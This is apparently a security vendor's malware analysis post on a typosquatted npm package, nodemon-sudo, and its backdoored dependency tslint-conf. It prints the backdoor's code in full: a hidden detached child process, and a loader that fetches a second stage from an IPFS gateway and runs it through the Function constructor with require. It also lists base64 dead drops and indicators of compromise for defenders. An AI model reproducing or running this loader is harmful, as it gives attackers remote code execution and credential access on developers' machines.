nodemon-sudo: an npm Backdoor With No Install Script

SafeDep Team
8 min read

Table of Contents

TL;DR

nodemon-sudo (v3.1.16) is a malicious npm package that impersonates the popular nodemon process monitor. It ships an exact copy of real nodemon, adds nothing malicious to its own code, and injects a single extra dependency, tslint-conf (v7.2.1). That dependency is a repackaged copy of the pino logger carrying a backdoor. The backdoor fetches a second stage from an IPFS gateway and executes it with Node’s require in scope, which is remote code execution. Neither package runs an install script. The payload fires only when a developer wires the fake logger into an application at runtime. SafeDep classifies both packages as malware at high confidence, and OSV lists tslint-conf as MAL-2026-7022. Both were published on July 7, 2026 by the npm account conodeeth and were live at the time of writing.

Impact:

  • Remote code execution on the machine running the application, delivered as a second stage fetched at runtime
  • No install-time footprint. npm install runs no hook, so install-time scanners and --ignore-scripts see nothing
  • The top-level package a developer installs, nodemon-sudo, contains no malicious code, so reviewing it in isolation finds nothing
  • The second stage runs with Node’s real require and real process, giving it full filesystem and environment access
  • The payload host declares sqlite3 and request as dependencies, pointing at browser cookie and credential database theft in the unfetched second stage (inference from the manifest, not from observed code)

Indicators of Compromise (IoC):

IndicatorValue
Package (live)nodemon-sudo v3.1.16
Package (live)tslint-conf v7.2.1
Package (taken down)nodemon-node, ts-await (now 0.0.1-security holding packages)
npm maintainerconodeeth ([email protected])
Forged author stringAlexus111 ([email protected]), bugs URL jsonspack[.]com/issues
Second-stage hosthxxps://peach-eligible-penguin-917[.]mypinata[.]cloud/ipfs/
IPFS CIDbafkreigjnxn5vnn34rc5r43ajwwkmk4akqpm4awmq5gdhakgszpeqiffsu
Dead drop (new pair)hxxps://jsonkeeper[.]com/b/XRGF3
Dead drop (orphaned / first pair)hxxps://jsonkeeper[.]com/b/4NAKK
Request headerx-secret-key: _
OSV advisoryMAL-2026-7022 (tslint-conf)
Artifact SHA-256 (nodemon-sudo)aa9b9847e4ffd894a19ec9712848651882b0195de5f4953eef9b47791adddabf
Artifact SHA-256 (tslint-conf)d4b7add83e5c716b5e52082f713d71ec9d7bfd93e358d500d77c2393302dd004
Payload SHA-256 (index.js)2956b023858d706a5e241cd28b845088e5f414c5f70bd5d8cb73cb427d081065
Payload SHA-256 (lib/caller.js)541c35bd90653c9d7f93cdadb7f52c281d7a1375ffc9c0e118cf1d9df977dea7
Payload SHA-256 (lib/const.js)d10853dde92fdc48d8cb5505d89e0030fd35e1416a16a820fe5ec4aceef01c4f
Published2026-07-07, approximately 20:28 to 20:33 UTC

Analysis

The carrier is a verbatim copy of nodemon

nodemon-sudo is a working copy of nodemon. Its package.json keeps the real author string Remy Sharp, the real bin entry (bin/nodemon.js), and every internal lib file. The version is 3.1.16, one bump above real nodemon’s current 3.1.14, which makes it read as ahead of upstream. The only functional change is in the dependency list.

// nodemon-sudo/package.json (dependencies)
"chokidar": "^3.5.2",
"chai": "^4.4.1",
"debug": "^4",
"ignore-by-default": "^1.0.1",
"minimatch": "^10.2.1",
"tslint-conf": "^7.2.1",
"pstree.remy": "^1.1.8",
"semver": "^7.5.3",
"simple-update-notifier": "^2.0.0",
"supports-color": "^5.5.0",
"touch": "^3.1.0",
"undefsafe": "^2.0.5"
}

Real nodemon depends on none of chai or tslint-conf. chai is a test framework, out of place as a runtime dependency, and tslint-conf is the payload host. Tracing bin/nodemon.js through lib/nodemon.js, lib/cli, lib/config, lib/monitor, and lib/utils shows that nodemon-sudo’s own code never imports tslint-conf. It does not use the dependency it declares. The package exists to place tslint-conf into node_modules and to lend it a trusted looking name.

The payload host is a repackaged pino

The package description reads “This document describes the management of vulnerabilities for the project and all modules within the organization.” Its keywords are fast, logger, stream, json. The tarball is pino. Every file under lib/, the docs/ tree, and index.d.ts are pino’s. Three files do not belong to pino: index.js (the main entry), lib/caller.js, and lib/const.js.

The trigger runs at runtime, not at install

index.js presents itself as pino-style middleware. It is exported as the default and as a .pino property. Requiring the module does nothing. The spawn is reached only when the exported function is called.

tslint-conf/index.js
function runJobA(args) {
const script = path.resolve(__dirname, './lib/caller.js');
const child = spawn('node', [script, JSON.stringify(args)], {
detached: true,
stdio: 'ignore',
});
child.unref(); // allow parent to exit
}
const middleware = (..._args) => {
runJobA(..._args, defaultOptions);
return (_req, _res, next) => {
next();
};
};
module.exports = middleware;
module.exports.default = middleware;
module.exports.pino = middleware;

A developer who drops this in as a logger, for example app.use(require('tslint-conf')()), invokes middleware, which calls runJobA. runJobA spawns a detached node process on lib/caller.js with stdio set to ignore and calls child.unref(), so the parent exits and the child leaves no output.

Neither package declares preinstall, postinstall, or prepare. The author’s own smoke:pino script (node ./index.js) also just loads the module and exits, because loading it does not call middleware. Detection that watches install hooks misses this. Detection that watches import-time side effects also misses it, because the trigger is an explicit runtime call to an exported function.

Stage two fetches from IPFS and evaluates it

When spawned, lib/caller.js runs a top-level async IIFE. It requests a JSON document from a Pinata IPFS gateway with the header x-secret-key: _, reads the field named cookie, compiles it into a function, and calls it.

tslint-conf/lib/caller.js
const axios = require('axios');
const process = {
env: {
DEV_API_KEY: 'aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1hSR0Yz',
DEV_SECRET_KEY: 'eC1zZWNyZXQta2V5',
DEV_SECRET_VALUE: 'Xw==',
},
};
(async function getCallers(..._args) {
const src =
'https://peach-eligible-penguin-917.mypinata.cloud/ipfs/bafkreigjnxn5vnn34rc5r43ajwwkmk4akqpm4awmq5gdhakgszpeqiffsu';
const k = 'x-secret-key';
const v = '_';
let retrycnt = 5;
while (retrycnt > 0) {
try {
const l = console.log;
const s = (await axios.get(src, { headers: { [k]: v } })).data.cookie;
const handler = new Function.constructor('require', s);
handler(require);
console.log = l;
break;
} catch (error) {
retrycnt--;
}
}
})();

new Function.constructor("require", s) is new Function("require", s). It builds a function whose body is the fetched string s and whose single parameter is require. Calling handler(require) runs the fetched code with the real require available, which is remote code execution. Using the Function constructor rather than eval avoids the literal token that most scanners flag. The loop retries five times, and console.log is saved and restored around the call to keep the console quiet.

The process object at the top of the file is a local that shadows the global inside this file only. It holds three base64 strings. Decoded, they are a dead drop and the exact header the request uses.

aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1hSR0Yz => https://jsonkeeper.com/b/XRGF3
eC1zZWNyZXQta2V5 => x-secret-key
Xw== => _

Because the second stage is compiled with new Function, it does not see this local object. It sees the real global process, so the fetched stealer reads the machine’s real environment and files. The block is dead code in this file. It records the operator’s setup, and the header name and value in it match the request getCallers sends.

The dead drops tie the campaign together

lib/const.js is not imported anywhere in the package. It exports the same shape as the block in caller.js, but its base64 points at a second dead drop.

aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iLzROQUtL => https://jsonkeeper.com/b/4NAKK

SafeDep’s analysis records that this backdoor is byte identical to an earlier package, nodemon-node, that used the same Pinata CID and the same jsonkeeper[.]com/b/XRGF3 endpoint. nodemon-node and its partner ts-await were the first pair. npm converted both to 0.0.1-security holding packages. The operator republished the same scheme hours later as nodemon-sudo and tslint-conf. SafeDep tracks the cluster internally as the emiltype/jsonspack campaign. The orphaned const.js and its second jsonkeeper[.]com/b/4NAKK endpoint are reused tooling that link the new pair back to the old one.

The bundled Windows binary is benign

nodemon-sudo ships bin/windows-kill.exe, an 80 KB PE32+ binary. Its strings and its embedded PDB path (E:\windows-kill\x64\Release Lib\windows-kill.pdb) identify it as the legitimate open source windows-kill utility, which sends CTRL+C to a process by PID. It is benign, and it appears here only so responders do not mistake it for the payload. The dangerous code is the JavaScript.

Attribution

The tradecraft matches a North Korea linked npm cluster documented by JFrog and The Hacker News in July 2026: lookalike names, a jsonkeeper[.]com dead drop, a JSON field executed through the Function constructor, and no reliance on install hooks. The match is by technique, not by hard indicator. The maintainer is an outlook.com address and the forged author points at jsonspack[.]com. Treat the link as resemblance, not confirmed attribution. It could be the same operator or a copycat reusing the pattern.

Conclusion

Most npm malware detection leans on the install hook. This campaign has none. It also survives import-time analysis, because requiring the module is inert. The malicious code runs only when the disguised logger is called at runtime, one dependency hop away from the package the developer chose. The package they installed, nodemon-sudo, contains no malicious code.

The signal that still fires is the dependency graph. A process monitor has no reason to depend on a logger it never imports, and that logger has no reason to depend on sqlite3, request, and axios while shipping a few hundred bytes of its own logic that spawn a hidden node process. Dependency review and runtime behavior analysis catch this. Name and content reputation on the top-level package do not.

If nodemon-sudo or tslint-conf reached a machine, treat the host as compromised. Remove both, rotate any credentials and tokens reachable from that host and its environment, and check for outbound requests to peach-eligible-penguin-917[.]mypinata[.]cloud and jsonkeeper[.]com.

  • malware
  • npm
  • supply-chain
  • typosquat
  • backdoor
  • credential-theft

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.